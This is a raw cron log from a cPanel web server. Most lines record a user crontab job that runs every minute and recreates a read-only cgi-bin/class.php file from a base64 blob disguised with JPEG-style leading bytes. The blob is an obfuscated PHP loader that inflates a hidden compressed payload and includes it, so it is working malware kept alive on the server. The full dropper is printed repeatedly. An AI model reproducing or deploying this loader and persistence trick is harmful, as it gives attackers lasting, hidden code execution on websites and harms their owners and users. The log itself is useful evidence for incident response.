Nov 11 23:31:01 server CROND[3372]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:32:01 server CROND[4176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:33:01 server CROND[4923]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:34:01 server CROND[5885]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:35:01 server CROND[6696]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 23:35:01 server CROND[6699]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 23:35:01 server CROND[6700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 23:35:01 server CROND[6701]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 23:35:01 server CROND[6702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:36:01 server CROND[7574]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:37:01 server CROND[8383]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:38:01 server CROND[9363]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:39:01 server CROND[10340]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 23:39:01 server CROND[10341]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:40:01 server CROND[11203]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 23:40:01 server CROND[11206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 23:40:01 server CROND[11207]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:40:01 server CROND[11208]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 23:41:01 server CROND[12074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:42:01 server CROND[12899]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 23:42:01 server CROND[12900]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:43:01 server CROND[13710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
